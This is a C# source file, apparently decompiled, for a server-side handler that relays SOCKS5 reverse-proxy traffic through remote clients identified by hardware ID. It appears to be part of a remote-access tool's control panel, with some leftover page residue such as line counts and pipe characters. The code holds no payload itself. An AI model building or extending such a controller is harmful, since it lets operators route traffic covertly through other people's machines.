85 lines
1.6 KiB
C#
85 lines
1.6 KiB
C#
using System;
|
|||
|
|
using Server.Connectings;
|
||
|
|
using Server.Helper.Sock5;
|
||
|
|
|
||
|
|
namespace Server.Messages;
|
||
|
|
|
||
|
|
internal class HandlerReverseProxyU
|
||
|
|
{
|
||
|
|
public static void Read(Clients client, object[] objects)
|
||
|
|
{
|
||
|
|
Console.WriteLine(objects[0]?.ToString() + " " + objects[1]);
|
||
|
|
switch ((string)objects[1])
|
||
|
|
{
|
||
|
|
case "Connect":
|
||
|
|
if (!Program.form.ReverseProxyU.work)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
client.Hwid = (string)objects[2];
|
||
|
|
client.Tag = Program.form.ReverseProxyU.NewServer(client);
|
||
|
|
break;
|
||
|
|
case "Accept":
|
||
|
|
{
|
||
|
|
if (!Program.form.ReverseProxyU.work)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
Server.Helper.Sock5.Server server = Program.form.ReverseProxyU.ServersPort((int)objects[4]);
|
||
|
|
if (server != null)
|
||
|
|
{
|
||
|
|
Client client3 = server.Search((int)objects[2]);
|
||
|
|
if (client3 != null)
|
||
|
|
{
|
||
|
|
client3.Accept(client);
|
||
|
|
client.Tag = client3;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case "ConnectResponse":
|
||
|
|
{
|
||
|
|
if (!Program.form.ReverseProxyU.work)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
Client client2 = (Client)client.Tag;
|
||
|
|
client2?.HandleCommandResponse(objects);
|
||
|
|
client.Tag = client2;
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case "Data":
|
||
|
|
if (!Program.form.ReverseProxyU.work)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
((Client)client.Tag)?.Send((byte[])objects[2]);
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
case "Disconnect":
|
||
|
|
if (!Program.form.ReverseProxyU.work)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
((Client)client.Tag)?.Disconnect();
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|